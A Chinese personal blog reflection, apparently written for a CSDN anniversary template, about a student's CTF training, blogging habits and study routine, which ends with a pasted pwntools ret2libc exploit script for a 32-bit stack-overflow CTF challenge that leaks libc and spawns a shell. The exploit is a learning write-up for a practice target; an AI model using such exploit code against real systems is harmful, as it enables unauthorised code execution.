刚开电脑还没有学习的状态,既然看到私信邀请,那我也写一下叭
机缘
虽然是计算机专业,但是没接触过网络安全,她始终带着"黑客的神秘面纱"站在我们面前,我在大二那年进入了学校的CTF集训队。夺旗赛(cat the flag)确实很有意思,不论是当时根本不懂,还是现在略知一二,始终觉得有意思。
实验室中有学长带队,大家基本全靠自学。刚开始安装一些软件都有很大困难😥。然后边练边学,以赛代练;解题是要写wp的,学长也鼓励大家搭建自己的博客(那个时候基本新队员都在试着搭自己的博客,我的进度算是很慢的)😂。
搭了博客顺理成章开始写博客,写着写着就把学的都写一下,梳理脉络,后来就成自己的学习习惯。就开始一个劲摸索,好在大二课业也不重。
收获
-
探索的耐心
举个例子:室友在第一次安装Android环境时,ta会觉得很复杂,找了教程试了两次没装好的话,ta会求助于我,实际上我也不会😶(专业不同进度不同)。但是在实验室的经验以及总结经验写博客的经历,令我明白:要么操作没什么问题就是要多试几次 (常用技巧:卸载干净再重装🙏);要么多找几个教程帖子 (会有大佬分享🙏)。
可能说的也不是很清楚。总之是会多一些探索的耐心,相比于其他专业就会显得好像我这种计算机专业的果然牛、操作好复杂、这也能弄好之类的,实际上自己清楚我就是搞这些东西耐心比他们多一点而已,而他们可能在自己的领域才patient。
-
总结的习惯
或者称之为学习习惯的养成。在机缘中所说的,一开始有了写博客的习惯,是CTF竞赛需要写WP进行复盘。慢慢的,这个习惯开始在我整个学习过程渗透,尤其是期末周,我会将复习内容梳理成一篇博客,成效一直不错😁。
-
创作的动力
我自己搭的博客就在刚开始用过,随后还是使用CSDN,功能比我自己的完善多了,而且目前有1600+粉丝,虽然活粉不知道有多少,但是这确实也是一点创作动力👍。
日常
这一块模板给的提示词是创作是否已经是你生活的一部分了,有限的精力下,如何平衡创作和工作学习
?
实际上我写的几十篇博客算不上创作,大多是我个人学习经验的总结与分享,算不上'创',但是这个写作确实已经成为我生活的一部分。
升学之后使用的频率更高了(还有好几篇在草稿箱没写完整就没发布出来),要学要看的东西太多太多,也会一直写博客来梳理学习笔记和总结的。最近更的比较多的是RT(reading time)系列(自取的名字✌️),为了使自己养成多阅读的习惯。还有实验和调研,就是日常。
By the way,日常是焦虑,但是写博客能够一定程度上缓解这种焦虑👵,不知道为什么💻。
成就
提示:你过去写得最好的一段代码是什么? 请用代码块贴出来
那就贴一个32位栈溢出题目的WP,
python
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',27895)
#r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
payload1='\x00'+'\xff'*0x7
r.sendline(payload1)
r.recvuntil('Correct\n')
#泄露read的got地址
payload='a'*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
r.sendline(payload)
read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
r.sendline(payload1)
r.recvuntil('Correct\n')
payload='a'*(0xe7+4)+p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)
r.interactive()
本人现在也看不太懂了,大抵不继续做网络安全,换方向也跟这个有关😧
代码能力很弱,基本都是修改现成代码,菜但是学无止境 🙋
憧憬
在这许愿就可以实现吗😶